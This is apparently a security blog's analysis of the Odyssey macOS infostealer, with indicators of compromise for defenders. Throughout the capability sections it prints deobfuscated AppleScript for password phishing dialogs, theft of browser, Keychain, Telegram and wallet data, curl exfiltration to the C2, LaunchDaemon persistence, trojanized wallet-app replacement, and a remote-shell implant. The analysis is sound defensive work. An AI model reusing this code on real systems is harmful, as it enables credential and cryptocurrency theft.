13 minutes
Malware targeting Apple devices: analysis of a macOS infostealer
macOS combines power offered by a Unix system with security and applications developed by Apple. These devices are generally used as BYOD machine. They are popular among tech, creative, financial people. Widely adopted by freelancers and self-employed professionals. Most of the time no EDR, no AV, no behavioral enterprise defenses are in place.
In this post I’ll take a look at Odyssey macOS Infostealer. We will see how easy is to get an infection and how bad it can compromise the system.
Triage and initial analysis
I went to MalwareBazaar and query for some macOS samples. I came across an info stealer named Odyssey, well evolved and with worldwide distribution.
SHA256 hash: 8c7b876215d5afdaf702915e0258a27f867c7556f2142fce613ded03063c1f48
The file contains an AppleScript payload executed via the osascript utility.
-- First lines are
osascript -e 'run script ...
Malware is obfuscated. To make it readable I performed following steps:
- open it with VS Code editor and install
AppleScriptextension by idleberg to make it more readable - replace every
& return &with a newline - remove
""quotes
A quick look to functions and variable names suggests that no particular advanced obfuscation was in place. Human labels were subsituted with 20 char long aplhanumeric random strings:
on f6354069633449886201(p5875745228280573332)
Author could have at least reused same variable names in local scopes to avoid “replace all” and slowing down deobfuscation process. But this was not done.
- reverse a few handlers manually
- feed the malware to LLM to automate deobfuscation process
- review LLM work to exclude errors
Here you have the code in a readable format ready to be analyzed.
-- an helper in the payload
on mkdir_p(folder)
try
set quotedFolder to quoted form of (POSIX path of folder)
do shell script "mkdir -p " & quotedFolder
end try
end mkdir_p
In the end, I setup a macOS VM for eventual dynamic analysis. And to see in a live environment how the malware behaves.
Obfuscation and anti-reversing
Malware obfuscation is light. No other antitampering and antireversing protection are implemented.
We will see later for example that:
- malware saves internal state through disk files (no fileless)
- malware doesn’t take particular care to clean up artifacts it manages
- malware setup socks5 proxies to enable later botnet capabilities (continuous streams of data are suspicious and easy to spot)
This is another hint for us: malware operators are confident their targets have poorly protected machines where RAT will survive undisturbed.
Another interesting point: Living-off-the-land binaries (LOLBins) such as osascript and bash allow to run the agents circumventing Gatekeeper and other native protections.
Capabilities
Malware is mainly targeting people dealing with cryptocurrencies. The goal is to get access to wallets and seeds. But it also allows further session hijacking and extortion attempts thanks to stolen sensitive data.
Reviewing the malware’s main routine reveals:
System enumeration
-- Temporary folder for exfiltration
set tempFolderName to (random number from 10000 to 100000) as text
set tempPath to "/tmp/" & tempFolderName & "/"
-- Dump hardware/software info
try
set sysInfo to do shell script "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType"
write_file(sysInfo, tempPath & "hardware")
end try
Credential phishing
Collected via repeated fake permission dialogs (prompt fatigue):
repeat
set dialog_result to display dialog "Enter your password to continue." ¬
default answer "" ¬
with icon caution ¬
buttons {"Continue"} ¬
default button "Continue" ¬
giving up after 150 ¬
with title "Permission Required to Install This Application" ¬
with hidden answer
set entered_password to text returned of dialog_result
if check_password(username, entered_password) then
return entered_password
end if
end repeat
Data exfiltration
- Apple Notes
- Safari cookies
- Keychain files
- Desktop and document files (“txt”, “pdf”, “docx”, “wallet”, “key”, “keys”, “doc”, “jpeg”, “png”, “kdbx”, “rtf”, “jpg”, “seed”)
- Installed applications enumeration
- Telegram session
- Browser profiles and cookies (Firefox and chromium browsers)
- Wallets and crypto files, seeds, browser extensions data
Collected data are moved to a staging folder and finally zipped and sent to C2.
Apple Notes & Safari cookies
-- Steal Apple Notes & Safari cookies
set notesDBPath to appSupportPath & "Group Containers/group.com.apple.notes/NoteStore.sqlite"
copy_file(notesDBPath, tempPath & "finder/NoteStore.sqlite")
copy_file(notesDBPath & "-wal", tempPath & "finder/NoteStore.sqlite-wal")
copy_file(notesDBPath & "-shm", tempPath & "finder/NoteStore.sqlite-shm")
copy_file(appSupportPath & "Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies", tempPath & "finder/Cookies.binarycookies")
copy_file(appSupportPath & "Cookies/Cookies.binarycookies", tempPath & "finder/saf1")
The logic for stealing sensitive documents is duplicated in a conditionally executed function (controlled by a boolean in the main handler). This suggests the stealing process has been expanded incrementally across versions without paying too much attention to code cleanup.
tell application "Finder"
-- Copy Safari Cookies from home folder
try
set cookiesPath to (path to home folder as text) & "Library:Cookies:"
duplicate file (cookiesPath & "Cookies.binarycookies") to folder finderFolder with replacing
set name of result to "saf1"
end try
-- Copy Safari Cookies from Container folder
set safariContainerPath to (path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:"
try
duplicate file "Cookies.binarycookies" of folder safariContainerPath to folder finderFolder with replacing
end try
-- Copy Notes database files
set notesPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"
try
set notesFolder to folder notesPath
set notesFiles to {"NoteStore.sqlite", "NoteStore.sqlite-shm", "NoteStore.sqlite-wal"}
repeat with noteFile in notesFiles
try
duplicate (file noteFile of notesFolder) to folder finderFolder with replacing
end try
end repeat
end try
-- Copy Notes media attachments
set accountsPath to notesPath & "Accounts:"
try
set accountsFolder to folder accountsPath
set accountFolders to every folder of accountsFolder
repeat with account in accountFolders
set mediaPath to accountsPath & name of account & ":Media:"
set mediaFolders to every folder of (folder mediaPath)
repeat with mediaSubFolder in mediaFolders
set subFolders to every folder of (folder (mediaPath & name of mediaSubFolder))
repeat with leafFolder in subFolders
set mediaFiles to every file of leafFolder
repeat with mediaFile in mediaFiles
try
set fileSize to size of mediaFile as integer
set totalMediaSize to totalMediaSize + fileSize
if totalMediaSize < 12 * 1024 * 1024 then
duplicate mediaFile to notesMediaFolder with replacing
else
exit repeat
end if
end try
end repeat
end repeat
end repeat
end repeat
end try
-- Copy Safari Form Values
try
set safariFormsPath to (path to library folder from user domain as text) & "Safari:"
duplicate (file "Form Values" of folder safariFormsPath) to finderFolder with replacing
end try
Keychain files
try
set keychainPath to (path to library folder from user domain as text) & "Keychains:" & hardwareUUID
duplicate folder keychainPath to finderFolder with replacing
end try
Sensitive documents
-- File types to collect from Desktop/Documents
set allowedExtensions to {"txt", "pdf", "docx", "wallet", "key", "keys", "doc", "jpeg", "png", "kdbx", "rtf", "jpg", "seed"}
-- Copy Desktop and Documents files
try
set desktopFiles to every file of desktop
set documentFiles to every file of folder "Documents" of (path to home folder)
repeat with f in (desktopFiles & documentFiles)
set ext to name extension of f
if ext is in allowedExtensions then
set fileSize to size of f
if (totalDesktopDocSize + fileSize) < 10 * 1024 * 1024 then
try
duplicate f to folder finderFolder with replacing
set totalDesktopDocSize to totalDesktopDocSize + fileSize
end try
else
exit repeat
end if
end if
end repeat
end try
Installed applications enumeration
-- Installed software list
try
set installedApps to ""
set appsList to list folder "/Applications"
repeat with appName in appsList
set installedApps to installedApps & appName
end repeat
write_file(installedApps, tempPath & "installedSoft")
end try
Stealing telegram session
on steal_telegram_session(stagingBasePath, homeDir)
try
-- Source Telegram Desktop data directory
set telegramTdataPath to homeDir & "Telegram Desktop/tdata/"
-- Destination folder controlled by malware
set outputTGPath to stagingBasePath & "tg/"
-- Copy main encryption key file
copy_file(telegramTdataPath & "key_datas", outputTGPath & "key_datas")
-- List all files/folders inside tdata
set tdataEntries to list folder telegramTdataPath without invisibles
-- Telegram stores session folders in pairs: <hex> and <hex>s
-- Collect base folder names that have a matching "s" folder
set sessionFolders to {}
repeat with entryName in tdataEntries
set sVariant to entryName & "s"
if sVariant is in tdataEntries then
copy entryName to end of sessionFolders
end if
end repeat
-- For each session folder:
-- steal both the "s" and "maps" subfolders
repeat with sessionID in sessionFolders
copy_file(telegramTdataPath & sessionID & "s", outputTGPath & sessionID & "s")
copy_file(telegramTdataPath & sessionID & "/maps", outputTGPath & sessionID & "/maps")
end repeat
end try
end steal_telegram_session
Browser profiles and cookies exfiltration
Here I show the function to steal Chromium profiles. The list of extension to steal is huge and is truncated.
-- Common library paths
set libraryPath to stagingBasePath & "/Library/"
set appSupportPath to libraryPath & "Application Support/"
-- Define Chromium-based browser paths
set browsersToSteal to {{"Chrome", appSupportPath & "Google/Chrome/"},
{"Brave", appSupportPath & "BraveSoftware/Brave-Browser/"},
{"Edge", appSupportPath & "Microsoft Edge/"},
{"Vivaldi", appSupportPath & "Vivaldi/"},
{"Opera", appSupportPath & "com.operasoftware.Opera/"},
{"OperaGX", appSupportPath & "com.operasoftware.OperaGX/"},
{"Chrome Beta", appSupportPath & "Google/Chrome Beta/"},
{"Chrome Canary", appSupportPath & "Google/Chrome Canary/"},
{"Chromium", appSupportPath & "Chromium/"},
{"Chrome Dev", appSupportPath & "Google/Chrome Dev/"},
{"Arc", appSupportPath & "Arc/User Data/"},
{"CocCoc", appSupportPath & "CocCoc/Browser/"}}
on steal_chromium_profiles(baseOutputDir, browserRoots, includeHistory)
-- Huge list of Chrome extension IDs (mostly crypto wallets)
set walletExtensionIDs to {\ldinpeekobnhjjdofggfgjlcehhmanlj\, \nphplpgoakhhjchkkhmiggakijnkhfnd\, \jbkgjmpfammbgejcpedggoefddacbdia\, \fccgmnglbhajioalokbcidhcaikhlcpm\, \nebnhfamliijlghikdgcigoebonmoibm\, \fdcnegogpncmfejlfnffnofpngdiejii\, \mfhbebgoclkghebffdldpobeajmbecfk\,
...
\ojggmchlghnjlapmfbnjholfjkiidbch\, \dlcobpjiigpikoobohmabehhmhfoodbb\, \kkpllkodjeloidieedojogacfhpaihoh\}
-- Files to steal from each profile
set targetFiles to {"/Network/Cookies", "/Cookies", "/Web Data", "/Login Data", "/Local Extension Settings/", "/IndexedDB/"}
if includeHistory is true then
set targetFiles to targetFiles & {"/History"}
end if
repeat with browserEntry in browserRoots
-- Example output: <base>/chromium/Chrome_
set browserOutDir to baseOutputDir & "chromium/" & item 1 of browserEntry & "_"
try
-- Enumerate profile folders (Default, Profile 1, etc)
set profiles to list folder item 2 of browserEntry without invisibles
repeat with profileName in profiles
if profileName is "Default" or profileName contains "Profile" then
repeat with target in targetFiles
set sourcePath to (item 2 of browserEntry & profileName & target)
-- Chrome moved cookies under Network/
if target is "/Network/Cookies" then
set target to "/Cookies"
end if
if target is "/Local Extension Settings/" then
-- Recursively copy only matching extension IDs
copy_matching_subfolders_recursive(sourcePath, browserOutDir & profileName, walletExtensionIDs, false, priorityExtensions)
else if target is "/IndexedDB/" then
-- Same but deeper recursion
copy_matching_subfolders_recursive(sourcePath, browserOutDir & profileName, walletExtensionIDs, true, priorityExtensions)
else
-- Plain file copy (Login Data, Cookies, Web Data, History)
set destPath to browserOutDir & profileName & target
copy_file(sourcePath, destPath)
end if
end repeat
end if
end repeat
end try
end repeat
end steal_chromium_profiles
Wallets and crypto
-- Define cryptocurrency wallets to steal
set walletsToSteal to {{"Electrum", stagingBasePath & "/.electrum/wallets/"},
{"Coinomi", appSupportPath & "Coinomi/wallets/"},
{"Exodus", appSupportPath & "Exodus/"},
{"Atomic", appSupportPath & "atomic/Local Storage/leveldb/"},
{"Wasabi", stagingBasePath & "/.walletwasabi/client/Wallets/"},
{"Ledger_Live", appSupportPath & "Ledger Live/"},
{"Monero", stagingBasePath & "/Monero/wallets/"},
{"Bitcoin_Core", appSupportPath & "Bitcoin/wallets/"},
{"Litecoin_Core", appSupportPath & "Litecoin/wallets/"},
{"Dash_Core", appSupportPath & "DashCore/wallets/"},
{"Electrum_LTC", stagingBasePath & "/.electrum-ltc/wallets/"},
{"Electron_Cash", stagingBasePath & "/.electron-cash/wallets/"},
{"Guarda", appSupportPath & "Guarda/"},
{"Dogecoin_Core", appSupportPath & "Dogecoin/wallets/"},
{"Trezor_Suite", appSupportPath & "@trezor/suite-desktop/"},
{"Sparrow", stagingBasePath & "/.sparrow/wallets/"}}
A map of wallets and standard wallet path is created. Wallets are copied in the folder to exfiltrate under deskwallets folder.
Exfiltration routine
on exfiltrate_data(serverURL, username, repeatCount)
repeat with attempt from 1 to 10
try
-- Build curl command to POST /tmp/out.zip with custom headers
set curlCommand to "curl --connect-timeout 120 --max-time 300 -X POST " & ¬
"-H \"buildid: c5e2f38eb1d94f7faf1e3454771c8575\" " & ¬
"-H \"username: " & username & "\" " & ¬
"-H \"repeat: " & repeatCount & "\" " & ¬
"-H \"cid: \" " & ¬
"--data-binary @/tmp/out.zip " & serverURL & "/log"
-- Execute the command
do shell script curlCommand
return -- exit function on success
end try
-- Wait 60 seconds before retrying
delay 60
end repeat
end exfiltrate_data
-- Zip everything
do shell script "ditto -c -k --sequesterRsrc " & tempPath & " /tmp/out.zip"
-- Exfiltrate
exfiltrate_data(attackerUsername, attackerHost, false)
Persistence
Trojanized crypto applications such as Trezor and Wallet were deployed. A C2 implant is decoded and installed as LaunchDaemon.
Password obtained via “prompt fatigue” is used to perform these tasks.
This is the function to drop C2 implant:
on install_core_agent(username, adminPassword, unusedParam)
try
-- Random launchd label
set randomID to (random number from 10000 to 100000) as text
set launchLabel to "com." & randomID
-- Base64 encoded AppleScript payload (truncated)
set base64Payload to "cnVuIHNjcmlwdCAiIiAmIHJldHVybiAmICJzZXQgYXBwX2lkIHRvIFwie..."
-- Decode payload and wrap in osascript
set decodedScriptCmd to "osascript -e " & quoted form of (do shell script "echo " & base64Payload & " | base64 -d")
-- LaunchDaemon plist
set plistXML to "<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">
<plist version=\"1.0\">
<dict>
<key>KeepAlive</key>
<true/>
<key>Label</key>
<string>" & launchLabel & "</string>
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>-c</string>
<string>" & decodedScriptCmd & "</string>
</array>
<key>UserName</key>
<string>" & username & "</string>
<key>RunAtLoad</key>
<true/>
<key>SessionCreate</key>
<true/>
</dict>
</plist>"
-- Write plist to temp
write_file(plistXML, "/tmp/starter")
-- Install LaunchDaemon (requires sudo)
do shell script "echo " & quoted form of adminPassword & " | sudo -S cp /tmp/starter /Library/LaunchDaemons/" & launchLabel & ".plist"
-- Load daemon
try
do shell script "echo " & quoted form of adminPassword & " | sudo -S launchctl bootstrap system /Library/LaunchDaemons/" & launchLabel & ".plist"
on error
-- Fallback: run payload in background
do shell script "nohup " & decodedScriptCmd & " >/dev/null 2>&1 &"
end try
end try
end install_core_agent
Here is the logic to deploy trojanized applications.
on drop_application(adminPassword, unusedParam, baseURL, appName, assetName)
try
-- Target application path
set targetAppPath to "/Applications/" & appName & ".app"
-- Temp downloaded zip
set tempZipPath to "/tmp/" & assetName
-- Remote asset URL
set remoteZipURL to baseURL & "/otherassets/" & assetName
-- Check that the application exists
list folder POSIX file targetAppPath
-- Download replacement bundle
do shell script "curl " & quoted form of remoteZipURL & " -o " & quoted form of tempZipPath
-- Kill running app (best effort)
try
do shell script "pkill " & quoted form of appName
end try
-- Remove original app using sudo (password piped in)
do shell script "echo " & quoted form of adminPassword & " | sudo -S rm -r " & quoted form of targetAppPath
delay 0.01
-- Extract downloaded archive into /Applications
do shell script "ditto -x -k " & quoted form of tempZipPath & " /Applications"
end try
end drop_application
if storedPassword is not equal to "" then
drop_application(stagingBasePath, storedPassword, attackerHost, "Ledger Live", "ledger.zip")
drop_application(stagingBasePath, storedPassword, attackerHost, "Ledger Wallet", "ledgerwallet.zip")
drop_application(stagingBasePath, storedPassword, attackerHost, "Trezor Suite", "trezor.zip")
end if
C2 Implant
The malware also decodes and drops a base64 applescript program that is the implant for Odyssey stealer C2.
The Odyssey C2 panel supports multiple operators and follows a malware-as-a-service model.
Payload is easy to decrypt:
cat payload | base64 -d | sha256sum
SHA256 hash: cd199ada759eec2cd007e025b7e4d60c7aedab716c9cf929fdf3ea03515b9603
Agent provides:
- interactive shell
- payload execution
- setup socks5 proxy, infected node can be further used as a botnet relay.
-- Main command loop
repeat
set last_action to read_file(last_action_file)
set commands to fetch_commands(c2_host, bot_id)
if commands is "not" then
uninstall_bot(base_path)
return
end if
set cmd_type to item 2 of commands
set cmd_payload to item 3 of commands
-- Handle uninstall
if cmd_type is "uninstall" then
uninstall_bot(base_path)
return
end if
-- Handle repeating shell commands
if cmd_type is "repeat" then
try
set repeat_url to c2_host & "/api/v1/bot/repeat/" & username
do shell script "curl -s " & quoted form of repeat_url & " | bash &"
end try
end if
-- Execute arbitrary shell command
if cmd_type is "doshell" then
try
do shell script cmd_payload
end try
end if
-- Enable SOCKS5 proxy (downloads and runs /tmp/socks)
if cmd_type is "enablesocks5" then
try
set socks_url to c2_host & "/otherassets/socks"
do shell script "curl -sS --connect-timeout 120 --max-time 300 -o /tmp/socks " & quoted form of socks_url
do shell script "chmod +x /tmp/socks"
do shell script "/tmp/socks > /dev/null 2>&1 & disown"
end try
end if
delay 60
end repeat
As i said in the obfuscation section, artifacts indicating malware presence are leaved in the filesystem. See for example the uninstall routine.
-- Mark the bot as uninstalled and exit
on uninstall_bot(base_path)
write_file(base_path & "/.uninstalled", "+")
do shell script "exit 0"
end uninstall_bot
OSINT
This particular malware occurrence is distributed among the others as a trojanized macOS application found on haxmac.cc. A website offering cracked applications.
OSINT and Google dorking reveal digital footprints connected to gaming, avatars, violence video websites, and other minor infostealing activity on Windows systems.
IOCs (Indicators of Compromise)
A list of IOCs seen in the sample:
SHA256
- Exfiltration applescript:
8c7b876215d5afdaf702915e0258a27f867c7556f2142fce613ded03063c1f48 - C2 Implant:
cd199ada759eec2cd007e025b7e4d60c7aedab716c9cf929fdf3ea03515b9603
Network
- C2 ip address:
217.119.139.117
Network requests:
<c2_ip>/log<c2_ip>/otherassets<c2_ip>/otherassets/socks<c2_ip>/api/v1/bot/joinsystem/<c2_ip>/api/v1/bot/actions/<c2_ip>/api/v1/bot/repeat/
Files
/users/*/.chost/users/*/.username/users/*/.uninstall/users/*/.botid/users/*/.lastaction/tmp/<random_number>/hardware/tmp/<random_number>/pwd/tmp/<random_number>/finder/tmp/<random_number>/installedSoft/tmp/<random_number>/kc/tmp/<random_number>/tg/tmp/<random_number>/deskwallets/tmp/<random_number>/gecko/tmp/<random_number>/chromium/tmp/out.zip/tmp/starter /Library/LaunchDaemons/com.<random_id>.plist/tmp/socks
Conclusion
Odyssey Stealer malware diffusion persists. One of the main reasons is the mix of high valuable targets in poor protected environments. In this particular case cryptocurrency assets exfiltration is the final goal. Real-time monitoring and behavioral detection are increasingly necessary, especially in BYOD environments where sensitive data is at risk.
2753 Words
2026-02-09 10:42